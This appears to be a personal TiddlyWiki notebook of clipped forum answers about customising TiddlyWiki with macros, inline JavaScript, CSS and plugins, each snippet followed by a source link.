	content: "|width:18em;<<tiddler EditATiddler>>|"
};
config.backstageTasks.splice(config.backstageTasks.indexOf("save")+0,0,"viewTabs");
> There was some talk about emedding TW in firefox sidebar, but what about
> thunderbird

See here:
     http://tinyurl.com/5cny43
(http://blog.checkettsweb.com/2005/11/24/embedding-tiddlywiki-in-thund...)

Related:
     Integrate a TiddlyWiki into Outlook's Today Pane
     http://groups.google.com/group/TiddlyWiki/t/8ba0add1e5efb2f6/

HTH.

-- F.

    Reply    Reply to author    Forward       Rate this post: Text for clearing space
		
		
		
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.
	
		
FND   	
View profile
	 More options May 3, 3:27 am
From: FND <F...@gmx.net>
Date: Fri, 02 May 2008 18:27:21 +0100
Local: Sat, May 3 2008 3:27 am
Subject: Re: [tw] Re: embedding TW in thunderbird
Reply | Reply to author | Forward | Print | Individual message | Show original | Report this message | Find messages by this author

>> There was some talk about emedding TW in firefox sidebar, but what about
>> thunderbird

> See here:
> [...]

I've added these to the community wiki:
     http://www.tiddlywiki.org/wiki/Embedding
Feel free to elaborate.

-- F. 

> I'd like to be able to mark things that I know I
> want to come back to later (like references to books or articles).

You could use FET* to extract marked passages:
---------------
{{{
<<forEachTiddler
     where 'tiddler != context.inTiddler
         && tiddler.text.contains("####")'
     script 'function extractMarkers(text) {
         var markers = text.match(/####(.*?)####/gm);
         var results = "";
         for(var i = 0; i < (markers ? markers.length) : 0; i++) {
             results += "* " + markers[i] + "\n";
         }
         return results;
     }'
     write '"!" + String.encodeTiddlyLink(tiddler.title) + "\n"
         + extractMarkers(tiddler.text) + "\n"'
 >>
}}}
---------------
(http://tiddlywiki.pastebin.com/f34996ef0)

Passages can be marked by putting four hashes on either side:
     #### lorem ipsum ####
(of course those markers can - and probably should - be customized)

HTH. 

Source: [[More on missing tiddlers (and the DisableWikiLinksList) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/c0c9f24849e563ff]]
{{{
> <<forEachTiddler where 'tiddler.tags.contains("A") && tiddler.data
> ("x") *OR* tiddler.data("y") '

The various clauses of fET are just bits of javascript, so you can use
the standard boolean operators:

AND = &&
OR = ||
NOT = !
with parentheses to control the order of evaluation.

Thus:
   <<... where 'testA && (testB || testC)'... >>
   means "A and B ... or ... A and C"
while:
   <<... where 'testA && testB || testC'... >>
   means "A and B ... or ... C" 
}}}
Source: [[fET question (&& or OR or??) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/0ab973c46e827d81#]]
> how do force that the tiddler display area be at last long enough for
> the image to be visible at all times...the complete image that is.

If we assume that the background is 800x600 px... then you could add:
   height: 600px; overflow:visible;
to the #contentWrapper { } CSS definition.  The fixed height ensures
that, when the story column is very short, the document length will
still be at least 600px.  Then, the "overflow:visible" attribute
allows the document content to be displayed without being clipped to
the wrapper's fixed height so that the TW story column can grow as
long as it needs as more tiddlers are displayed. 

Source: [[fixed length of tiddler display - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/90f2f67b81c37030]]
I wish a script that will create a list of tiddlers by the first
letter both upper and lower case.  The script below will do the first
letter but I don't know how to have it do both cases. 

[[forEachTiddler question - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/545071eeab0ab54c]]
Using a 'script' clause in your fET macro, you can define an Array
prototype function that, given an array of strings (i.e., the 'tags'
of a tiddler), returns a subset of the array containing only those
strings that start with specified text:

script '
   Array.prototype.startsWith=function(txt) {
      var out=[];
      for (var i=0;i<tiddler.tags.length;i++)
         if (tiddler.tags[i].substr(0,txt.length)==txt)
            out.push(tiddler.tags[i]);
      return out;
   }
'

Then, to test for the desired matching tags in the fET conditional,
you can write:
   'tiddler.tags.startsWith("project").length > 0'

note: untested code 

Source: [[<<forEachTiddler where tiddler.tags.startswith("is this possible") - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/81b15fc29f253c06/434a09372be2d465#434a09372be2d465]]
> I'm actually wanting to see a fixed number of rows regardless of the
> amount of content.  Since I am using SinglePageMode, the "rows+4 up to
> the MaxEditRows" offers less gain than a consistent view.

You can specify specify the *minimum* number of rows by adding a
numeric parameter to the "edit text" macro in your [[EditTemplate]],
like this:
{{{
   <div class='editor' macro='edit text 20'></div>
}}}
When this value is the same as the txtMaxEditRows, the field will
always be displayed using a fixed number of rows. 

Source: [[help - editor box height - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/697c9ba35201bfc6]]
Fortunately, the folks at jQuery have recognized that this can be a
real 'show-stopper' and have provided a mechanism to avoid the
problem.   Starting with TW250b2, the main() function immediately
invokes jQuery.noConflict(), right at the start.  This prevents jQuery
from re-defining the $(...) function, so that other definitions of $
(...) (e.g., InlineJavascriptPlugin) will not be broken.

In order to use jQuery functions without the $(...) idiom, simply
substitute 'jQuery' for '$' in your code, like this:
-----------------
<script show>
jQuery(document).ready(function( ) {
        jQuery('table.twtable tr:even').addClass('even');
        jQuery('table.twtable tbody tr').mouseover(function(){
                jQuery(this).addClass('highlight')
        });
                jQuery('table.twtable tbody tr').mouseout(function(){
                jQuery(this).removeClass('highlight');
        })
});

</script> 

Source: [[hijack the refresh function: howto - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/2cb204943f0d4d99]]
I've got {{{<<tiddler x>><<tiddler y>>}}}, both containing tables.  How do I
remove the line break so that these two tables become connected? 

Fortunately, there *is* a way to easily implement simple tiddler
'joins' by using a little bit of inline scripting [1] to dynamically
assemble the desired source and *then* rendered the combined result,
like this:
{{{
   <script>
   return store.getTiddlerText('X')+store.getTiddlerText('Y')
   </script>
}}}
enjoy,
-e
Eric Shulman 

Source: [[how do you remove line breaks - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/13e60dbb23fd61fe#]]
I have this in my viewtemplate:
<div macro="showWhen tiddler.tags.contains('problem')">[[test
2009.05.27]]</div>

and in the tiddler "test 2009.05.27" I have:
Favourite food: {{{<span macro="edit favouritefood"></span>}}}

when I create a tiddler tagged "problem", I get the custom field's
label and edit box, and I can enter info there, but when I click
"close", there's a message that says "are you sure you want to abandon
your changes to (tiddler name)"

I assume its because this is meant for edit mode where you can click
"done" to save changes.  Is there any way around this so I can edit
these fields in view mode and have it "stick"? 
----
Try Eric Shulmans EditFieldPlugin http://www.tiddlytools.com/#EditFieldPlugin

Regards Måns Mårtensson 
----
That works great, thanks! 

Source: [[how to edit custom fields in view mode - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/adb074f5bcb5765d]]
> But, it also leaves an "undefined" in the tiddler where the script is.
{{{
store.setTiddlerTag() does not return a value, so you get "undefined"
as output when it occurs in the 'write' clause.  To return a blank
string instead of undefined, try adding an extra ""; following the
call to setTiddlerTag(), like this:

<<forEachTiddler
        where
        'tiddler.tags.containsAll(["foo"])'
        write
        'store.setTiddlerTag(tiddler.title,true,"bar");"";'
>>
}}}

Source: [[if tagged A and B, then auto add tag C - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/9f088ff3a4e9c200/bfcc6688ad44066d#bfcc6688ad44066d]]
I would like to show a scaled-down version of an image that upon
clicking on it opens the full size version in a popup window (sized to
fit the image). How do I do that? ( I have the image attached using
AttachFilePlugin. 

Source: [[image: thumb + popup? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/dd115fffaa4375de#]]
Search for all jquery

http://groups.google.com/group/TiddlyWikiDev/search?group=TiddlyWikiDev&q=jquery&qt_g=Search+this+group


So overall, it seems like there aren't any changes required that would
break backwards-compatibility.

Any thoughts?

-- F.

[1] cf. http://groups.google.com/group/TiddlyWikiDev/t/fb47ccef2db67576
[2] cf. http://www.tiddlywiki.org/wiki/Dev:Best_Practices#Creating_Aliases
[3] http://www.tiddlywiki.org/wiki/Dev:Best_Practices#Namespacing
[4] cf. http://trac.tiddlywiki.org/browser/Trunk/core/js/main.js#L151
[5] Note that macros' context variables are a separate issue:
     http://trac.tiddlywiki.org/ticket/444
[6] cf. http://trac.tiddlywiki.org/browser/Trunk/core/js/main.js#L146
[7] cf. http://trac.tiddlywiki.org/browser/Trunk/core/js/main.js#L170 

Source: [[jQuery plugin interface - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/573684661dac32c2]]
> I don't have {{{<<newTiddler>>}}} macro rendered anywhere on my TW page.
> What's the trick to still have the relevant keyboard shortcut
> available? It's not enabled unless the macro is visible.

Try adding the following line to your MainMenu:
---------------
{{{@@display:block;overflow:hidden;text-align:left;text-indent:
-9999px;<<newTiddler>>@@ }}}

Source: [[keyboard shortcuts - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/2af89de93edbf36c]]
|{{{.viewer hr {border-color: #f00;color: #f00;}}}}|
|{{{.viewer table,.viewer th,.viewer td {border-color: #F00;}}}}|

Try adding the above to your StyleSheet:
> how to change the color of the -------- page separators and the |
> table | border colors.


Source: [[---- lines and table border colors - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/cddfd0245f33f627/38fa62182a2273c1#38fa62182a2273c1]]
> I want to show now all my tiddlers which belong to this CSS-
> category. I don't know if I can show all tiddlers with the tag CSS or
> if I can move my tiddlers somehwo in a category called "CSS"?

If the desired tiddlers are tagged with "CSS", there are several ways
to display links to all these tiddlers

1) The {{{<<tag tagname>>}}} macro will show the specified tagname as a link
that, when clicked, opens a TW popup that lists all tiddler tagged
with that tagname.  You can select any one tiddler to open it, or use
the "open all" item to open all of the listed tiddlers at once.

2) The {{{<<list filter [tag[tagname]]>>}}} macro will list all tiddlers
that match the indicated tagname as separate links.  You can then
click on any individual link to open that tiddler.

3) http://www.TiddlyTools.com/#OpenTaggedTiddlers
is an 'inline script' (requires http://www.TiddlyTools.com/#InlineJavascriptPlugin)
that creates a single link that automatically opens all tiddlers that
have a matching tag.
Basic usage is:
 {{{  <<tiddler OpenTaggedTiddlers with: "label" "tagToMatch">>}}}
Optional parameters include:
   "sortBy"
      - a tiddler fieldname, and defaults to "title" (use "modified"
or "created" for dates)
   "reverse"
      -  a *keyword* that reverses the order of display of the matched
tiddlers (when not present, tiddlers are sorted in ascending order)
   "close"
      - a *keyword* that causes all open tiddlers to be closed before
opening the matching tiddlers

HTH,
-e
Eric Shulman
TiddlyTools / ELS Design Studios


Source: [[MainMenu: How to show only specific tiddlers (Filter) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/1a2595c046587fbc#]]
Try this:
   http://www.TiddlyTools.com/#CheckboxToggleTag (v1.3.0)
   (uses InlineJavascriptPlugin)
Then, using
   http://www.TiddlyTools.com/#MatchTagsPlugin
you can generate a list of all tiddlers tag that match any given tag
values and specify an output format for the list that includes the
CheckboxToggleTag to show a checkbox for each matched tiddler title.
For example:
   http://www.TiddlyTools.com/#ToDoList
contains:
{{{
-------------
<<matchTags
   {{"<<tiddler CheckboxToggleTag with: Done ToDo %0\>\> %0"}}
   "\n"
   Done OR ToDo

-------------

Of course, you can toggle between any two tags you like (e.g.,
reporting/waiting), and can also use an extra tag to mark tiddlers to
be listed, even if they lack either of those two tags (eg., "task"),
like this:
-------------
<<matchTags
   {{"<<tiddler CheckboxToggleTag with: reporting waiting %0\>\> %0"}}
   "\n"
   task OR reporting OR waiting

-------------

Of course, if you prefer, you can use <<forEachTiddler>> instead of
<<matchTags>> to generate the list. 
}}}
Source: [[Another how to question - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b400f4a0f7689ff7/0702eb3a7718ff56?lnk=gst&q=%3C%3CmatchTags#0702eb3a7718ff56]]
This will render the content with the same styles as the TW-formatted
block (monospaced font, no word wrap, yellow background with border),
and then HTMLFormattingPlugin kicks in to also process the wiki syntax
with the block.

Note: if you want the text to wrap, then add a little bit of 'inline
CSS', like this:
{{{
<html><pre>@@white-space:normal;...your content here...@@</pre></html> 
}}}
Source: [[TextFormattingPlugin? (like HTMLFormattingPlugin) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/4cb92407b8597994]]
Index of /flashblock

Source: [[mozdev.org - downloads - /flashblock|http://downloads.mozdev.org/flashblock/]]
The value used by <<newTiddler>> in the duedate: custom field is
computed when the macro is initially *rendered* into the content, not
when it is subsequently *clicked* upon.  Thus, if you open the
document and leave it open over night, the computed value for the
'duedate' custom field will no longer be current.

Fortunately, there is a way to force the computed parameter to be re-
processed when the click event actually occurs, so that it will be re-
calculated using the current time value:

http://www.TiddlyTools.com/#ClickifyPlugin

usage:
   <<clickify macroName param param param>>
(i.e., just add 'clickify' in front of the usual macro name)

example:
<<clickify newTiddler title:'NewToDo' label:'Add a new To Do'
tag:'ToDo' fields:{{"duedate:"+(new Date()).formatString
("YYYY-0MM-0DD")}}>>

enjoy, 

Source: [[newTiddler with today's date in extendedField - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/32e3cd2780ed6810]]
2. http://jackparke.googlepages.com/jtw.html#PublishMacro
This is my current choice, since it has easy to modify templates. She
can publish all the pages based on tag, or an individual page. 

Source: [[publication of html from Tiddlywiki with templates - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/bf4cf4ee32ba196e]]
> Much more indeed. I need a RadioButtonPlugin that would recognize a
> special syntax, create groups of radio buttons and store their values
> in fields. Unfortunately my Javascript skills can't keep up with my
> imagination :)

Although not radio buttons, you could do this using:

http://www.TiddlyTools.com/#ListboxPlugin

example syntax:
<<select size rows:1 xsmall=30 small=32 medium=34 large=36 xlarge=38>>

Source: [[radio button macro? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a68dbf2de3032a89]]
> In TiddlerA I have a link to TiddlerB.  TiddlerB contains only
> "TiddlerC".  When clicking TiddlerB a RedirectPlugin opens TiddlerC
> with "redirected from TiddlerB" at the top.  Upon clicking TiddlerB in
> this statement, it opens TiddlerB without initiating the redirect or
> it opens it in edit mode (what ever works).

First, put an inline script [1] in TiddlerB, like this:
{{{
<script>
   var here=story.findContainingTiddler(place);
   var tid=here.getAttribute('tiddler');
   var alt='TiddlerC';
   if (!story.getTiddler(alt))
      { story.displayTiddler(here,alt); story.closeTiddler(tid); }
   else
      { story.closeTiddler(alt); }
</script>
}}}
What the script does:

If TiddlerC is not already displayed when the script in TiddlerB is
rendered, then TiddlerC is automatically displayed and TiddlerB is
closed.  Otherwise, TiddlerC is closed, leaving TiddlerB visible.
Thus, either TiddlerB or TiddlerC will be displayed, but not both.  Of
course, TiddlerC should contain the desired message and link back to
TiddlerB to complete the 'round-trip'...

enjoy,
-e 

Source: [[redirect concept for consideration - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/7f9bb75fdf820e8a]]
I found the solution.

In case anyone else has this question...

The solution was this:

x = top.frames['name of frame'].location = "file to load in frame"

I just specified the existing page in the 'location='. This reloaded the content of the frame.

-Thomas
Reply With Quote

Source: [[JavaScript command to refresh IFrame Content - ProgrammingTalk|http://www.programmingtalk.com/showthread.php?t=15955]]
How to create Firefox extensions
Filed under: tutorials — Eric @ 6:47 pm

Everyone has a good idea at one time or another to implement a new feature in a web browser. Well, with the goodness that is Mozilla Firefox, now you can do just that. You need to have a vague understanding of XUL and Javascript, but you certainly don’t need to be a master of either. When I started, I knew nothing about either one, really. I had seen some bookmarklets here and there, and tried to figure out just how they worked. Well, that’s how I made my first extension, BugMeNot.

Source: [[roachfiend.com » How to create Firefox extensions|http://roachfiend.com/archives/2004/12/08/how-to-create-firefox-extensions/]]
I'm loading ImportTiddlersPlugin via a bookmarklet that I copied from
http://tiddlytools.com/#InstantBookmarklets. I'd like the checkbox
"link imported tiddlers to source document" to be always checked by
default. How can I do that? 

Source: [[setting options for Bookmarklets - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/bc8e585b5706442e/3776a19da7b3b9b9#3776a19da7b3b9b9]]
{{{<<list filter [tag[something]]>> }}}

>I've got{{{ [tag[journal]]}}} in DefaultTiddlers to show my journal entries
on start.  That works fine.. 

Fortunately, even though you can't use the filter syntax directly in
tiddler content, you can apply the filter to render a list of links to
tiddlers by using the {{{<<list>>}}} macro:


Source: [[cant get tiddler to show tagged - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/fd54d3f4f144573a]]
In order to display the sidebar tabs in a slider, I had suggested
creating a new tiddler (e.g., "IndexSlider") that would invoke a
<<slider ... SideBarTabs>> macro to render the tabs inside a slider.
Then, in the PageTemplate, substitute tiddler='IndexSlider' in place
of tiddler='SideBarTabs' in this line:

<div id='sidebarTabs' refresh='content' force='true'
tiddler='SideBarTabs'></div>

Although this method works reasonably well, it has two drawbacks:
* it requires using an extra tiddler, just to define the slider
* the slider label doesn't align correctly with the "options >" label
above it. 

Source: [[Launch of updated TiddlyWiki.com - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/db782480e480f536/7dd5e60f826b47e0#7dd5e60f826b47e0]]
Currently, the PublishMacro does not maintain Tiddlylink labels when
publishing to html. 

Source: [[simple fix for the PublishMacro to maintain the tiddlylink labels - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/7ef69292c20bec0e]]
Safer Networking Forums

Go into Spybot » Mode » Advanced mode » Settings » Settings. In the options tree scroll down to the Automation » System start. Click on the "No automation" option (both the "Automatically run program at system startup" and "Run program once at next system startup" should then be unselected).

When you're done it should look like this:

Quote:
├─ System start
│ ├─ ● No automation
│ ├─ ○ Automatically run program at system startup.
│ ├─ ○ Run program once at next system startup.
If not see this thread:

    * Automatic Run at system start
      http://forums.spybot.info/showthread.php?p=186595

Source: [[stopping startup scan at bootup - Safer Networking Forums|http://forums.spybot.info/showthread.php?p=217352]]
Here's one approach to color-coding different elements of a tiddler,
using CSS
{{{
1) For each tag value used as a category and each class of tiddler
element that you want to color-code, add CSS style rules to your
[[StyleSheet]], like this:

.someClass .title { color:red; background:#eef; }
.someClass .subtitle { color:#090; }
.someClass .viewer { background:#eef; }
.someClass .tiddlyLinkExisting { color:#009; }
.someOtherClass .title { color:green; background:#fee; }
.someOtherClass .subtitle { color:#900; }
.someOtherClass .viewer { background:#fee; }
.someOtherClass .tiddlyLinkExisting { color:#900; }
etc.

2) Create a new tiddler called [[SetColorCode]], with the following
inline script that tests the current tiddler's tags and determines the
desired 'colorCode' CSS classname, which is then added to the
containing tiddler element...

<script>
   var here=story.findContainingTiddler(place);
   if (!here) return; /* not in a tiddler! */
   var tid=store.getTiddler(here.getAttribute('tiddler'));
   var colorCode='';
   /* CONDITIONALS GO HERE... */
   if (tid.isTagged('someTag'))
      colorCode='someClass';
   if (tid.isTagged('someOtherTag'))
      colorCode='someOtherClass';
   if (tid.tags.containsAny(['tagOne','tagTwo','tagThree']))
      colorCode='yetAnotherClass';
   /* END OF CONDITIONAL */
   here.className='tiddler '+colorCode; /* add the class to the
tiddler */
</script>

3) To apply the color-coding coding logic to all tiddlers, add the
following to the end of your ViewTemplate, EditTemplate, and
CollapsedTemplate (if you are using TiddlyTools'
CollapseTiddlersPlugin):

<span style='display:none' macro='tiddler SetColorCode'></span>
}}}

This will automatically invoke the inline script each time any tiddler
is displayed, edited or folded, thus ensuring that the color coding
can be consistently applied to all tiddlers, based on their tags.

4) Start tagging your tiddlers and watch their colors change
accordingly!

enjoy,
-e 

Source: [[structural color codings (from the wishlist, but maybe only questions) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/ae6e1d4385a525e2#]]
Plugins are loaded in alphabetical order (by tiddler title).  Because
[[ConfigTweaks]] comes before [[TagTreePlugin]], the
config.macros.tagsTree object has not yet been created when
[[ConfigTweaks]] is invoked.

The best way to override a value contained in a specific plugin is to
create a separate systemConfig tiddler for that plugin by appending
"Config" to the end of the plugin tiddler title.   This ensures that
the 'config' tiddler will always be loaded after the plugin that it is
associated with.  Thus, instead of putting the override values into
[[ConfigTweaks]], put them into [[TagsTreePluginConfig]].

-e 

Source: [[styling TagsTreePlugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/270447ad9fd23892]]
What is SWFObject?

SWFObject 2:

    * Offers two optimized Flash Player embed methods; a markup based approach and a method that relies on JavaScript 

Source: [[documentation - swfobject - Google Code|http://code.google.com/p/swfobject/wiki/documentation]]
This allows developers to use popups within popups (e.g. multi-level,
cascading menus), rather than just having a single popup at a time.

> - Several new CSS classes for easier restyling (eg the "tabsetWrapper"
> class for tabs)

If you want to apply styling to the <<tabs>> macro's output, you can now
more specifically target just that bit (which was a bit of a pain
before). For example:
     .tabsetWrapper {
         border: 1px solid #F00;
         background-color: #B48;
     }
     .tabsetWrapper a {
         font-size: 0.8em;
     }

HTH. 

Source: [[Bio-upgradeable: Announcing release 2.4.0 of TiddlyWiki - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/661bcff3dbad3a1b]]
{{{story.isDirty('SomeTitle')}}} looks at the currently rendered *story*
column to determine if the tiddler is in edit mode, even if no changes
have been made to the content, so it *is* the function you want to
use.

In contrast, {{{store.isDirty()}}} looks at the tiddler internal-data
{{{*store*}}} to indicate if anything in the document has been modified.
Unfortunately, however, there is currently no {{{*built-in*}}} (TW core)
tracking for testing a specific tiddler to see if it has been changed.

Fortunately, I've written a plugin to address this:
   http://www.TiddlyTools.com/#UnsavedChangesPlugin
adds tracking for individual tiddler changes and provides several
forms of output to display and manage the current list of tiddlers
with unsaved changes.

In addition, after the plugin is installed, you can use the following
javascript expression to test a tiddler to see if it has been changed,
regardless of whether is is being edited at the moment.

{{{config.macros.unsavedChanges.changed.contains('TiddlerTitle') }}}

Source: [[tagger Button - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/02a72eecd450fe2f#]]
> up a list of all tiddler names so I can quickly grab one and insert it
> would be great. Is there anything like that, I remember there may be a
> plugin to do tiddlername auto completion but I may be dreaming or

Give this a try:
   http://www.TiddlyTools.com/#QuickEditPackage
Specifically, the 'link' button (see [[QuickEdit_link]]), which lets
you select a tiddler name from a drop list and then automatically
inserts a link to that tiddler into the current edit field content.

In addition, if you want to use 'auto-completion' to quickly navigate
to any tiddler, try this:
   http://www.TiddlyTools.com/#GotoPlugin
The {{{<<gotoTiddler>>}}} macro provides an input field that performs an
incremental key-by-key match for tiddlers and displays a droplist
containing matching titles for you to select from.



Source: [[(auto) remembering tiddler names in edit mode - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/9ae61e3cfc223f64]]
Does anyone know of a way to make the forEachTiddler plugin able to make a list of all tiddlers which have a tag that starts with "project", for
instance? 

Thanks alex, but I already found that out, I want to find the tiddlers taged with project-important1 and project-important2

Geert 


Try this:
{{{
-----------------------
<<forEachTiddler where
'tiddler.tags.startsWith("ulcn").length > 0'
script '
   Array.prototype.startsWith=function(txt) {
      var out=[];
      for (var i=0;i<this.length;i++)
         if (this[i].substr(0,txt.length)==txt)
            out.push(this[i]);
      return out;
   }
' >> 
}}}

Source: [[<<forEachTiddler where tiddler.tags.startswith("is this possible") - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/81b15fc29f253c06/6a5707bb446b2418#6a5707bb446b2418]]
> There's a third option; the NewTiddler macro might set the respective
> custom field(s).

But that only works if you are creating new tiddlers...

Here's a little inline 'onclick' script that might be useful:
{{{
<script label="bag" title="change this tiddler's TiddlyWeb workspace">
   var bag=prompt("enter a bag name");
   if (!bag) return; /* cancelled by user */
   tiddler.fields['server.workspace']=bag;
</script> 
}}}
Source: [[tiddlyweb change bag - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/2625184f2326aad7#]]
{{borderless{
|[[Open in a new window|http://tiddlywiki.com]]&nbsp;&raquo;|
----
<html><div align="center"><iframe  src ="http://tiddlywiki.com" width="100%" align="center" height="600" scrolling="auto" frameborder="0" allowtransparency style="border:none;"></iframe></div></html>}}}
{{borderless{
|[[Open in a new window|http://www.tiddlywiki.org/]]&nbsp;&raquo;|
----
<html><div align="center"><iframe  src ="http://www.tiddlywiki.org/" width="100%" align="center" height="600" scrolling="auto" frameborder="0" allowtransparency style="border:none;"></iframe></div></html>}}}
First, install this brand new TiddlyTools plugin:
http://www.TiddlyTools.com/#ClickifyPlugin
{{{
Then, you can write:

<<clickify newTiddler
label:'New Task'
title:{{prompt('Enter a new tiddler title','New Project Task')}}
text:{{store.getTiddlerText('TaskTemplate','')}}
tag:'Project1'>>
}}}


The added 'clickify' keyword prevents the prompt() function (used in
the title param) from being invoked when the newTiddler macro is
initially rendered. Then, when the resulting 'new tiddler' command
link is actually clicked upon, all computed macro parameters are
automatically re-calculated, so that the prompt() function can be
invoked and you will be asked to enter a new title at that time.

Source: [[Mike's TiddlyWiki 2.4.3 - Google Group Questions 01/09|http://www.strm.us/Private/TWGG%20Questions%200109.htm#Question11]]
<<<
I am trying to make the view template menu disappear by turning the
font color the same as the background when the mouse is not over it. 
<<<
I use the following to make the toolbar visible on mouseover:
{{{
.toolbar{visibility:hidden}
.selected .toolbar{visibility:visible} 
}}}
Source: [[style sheet trouble - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a8fda5ef9c405fca]]
How can you fix this?
{{borderless{
|[[Open in a new window|http://trac.tiddlywiki.org/wiki/History]]&nbsp;&raquo;|
----
<html><div align="center"><iframe  src ="http://trac.tiddlywiki.org/wiki/History" width="100%" align="center" height="600" scrolling="auto" frameborder="0" allowtransparency style="border:none;"></iframe></div></html>}}}
> i have several html files within the same folder as my tiddlywiki...
> how would i go about creating a tiddler that displays the html content
> of one those files?

Try this:
   http://www.TiddlyTools.com/#ExternalTiddlersPlugin

ExternalTiddlersPlugin extends the standard <<tiddler TiddlerName>>
macro so that you can specifiy a path/filename or URL instead of a
TiddlerName.  Rather than reading the source content from a tiddler,
the content is loaded directly from the indicated file. 

Source: [[view external html within tiddler - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/ba326534e2f11a9e#]]
On Dec 27, 3:26 pm, Dave Parker <cedar...@telus.net> wrote:

> so what you're saying is that I need to just have a simple link on the
> mainmenu to open a tiddler with the launch button in it.  Is that
> right?

well.... that would work... but's it's not what you really *want*, now
is it?

Here's some 'pure HTML' that actually does what you are after:

{{{
<html><a href="javascript:;"
        title="create a new bitmap tiddler"
        onclick="
                var txt='[img[%0]]\\n\<\<LaunchApplication [[edit this bitmap]]
click [[%0]]\\>\\>';
                var cmd='\<\<newTiddler title:[[%0]] text:{{\x22'+txt+'\x22}} tag:
[[paint]]\>\>';
                var now=new Date().formatString('drawing.YYYY.0MM.0DD..hh.0mm.
0ss.jpg');
                var t=cmd.format([now]);
                var e=document.getElementById('invokeMacroHack');
                if (!e) { e=document.createElement('span');
e.id='invokeMacroHack'; }
                removeChildren(e); wikify(t,e); e.firstChild.onclick();
        ">new paint</a>
</html>
}}}

The trick is to create a regular HTML link with an 'onclick' handler.
When clicked, the handler dynamically constructs the desired
<<newTiddler>> macro on-the-fly, so that the *current* timestamp is
always used.  Then, to invoke the macro, we use another little trick
I've come up with: create a temporary 'span' (in this case, I called
it 'invokeMacroHack'), and render the <<newTiddler>> macro into that
span.  Then, click the first element in that span (i.e., the 'new
tiddler' button that was just rendered). 

Source: [[weird date problem - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/d413da73fd58f2c1]]
Any non whitespace characters are ignored; only spaces, tabs and newlines are considered syntax.

Source: [[white-space|http://compsoc.dur.ac.uk/whitespace/]]
[[wiki.tiddly - TiddlyWiKi on googlepages|http://wiki.tiddly.googlepages.com/]]
To creat a new "~NewCategory" you need to:

''1:'' Under Tools on the Firefox menu, add the new 'category' and 'tag' to ''~TiddlySnip Preferences''  @@color:#C06;''&raquo;'' @@ ''Categories  ''

''2:'' Create a "~YourNewCategoryList" tiddler with this code in it using the name of the tag you have chosen in ( ''1:'' )above.
{{{
!NewCategoryList
}}}
{{{
{{liststyleimagenone underlineLink {
<<tiddlerList  tags:NEWCATEGORYTAG:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
''  2a:'' When done tag it with {{{tscategory}}}

''3:'' Manually add the title "~YourNewCategoryList" to the master TS-CategoriesList tiddler.

''4:'' Manually add a slider containing "~YourNewCategoryList to SnipsTree
@@color:#c06;"""<li><<slider "txtnewCat" "YourNewCategoryList" "YourNewCategory" "tooltip">></li>"""@@
[[» TinyURL Bookmarklet FND’s Blag: Just Another Personal Wobsite|http://fnd.lewcid.org/blog/archive/16]]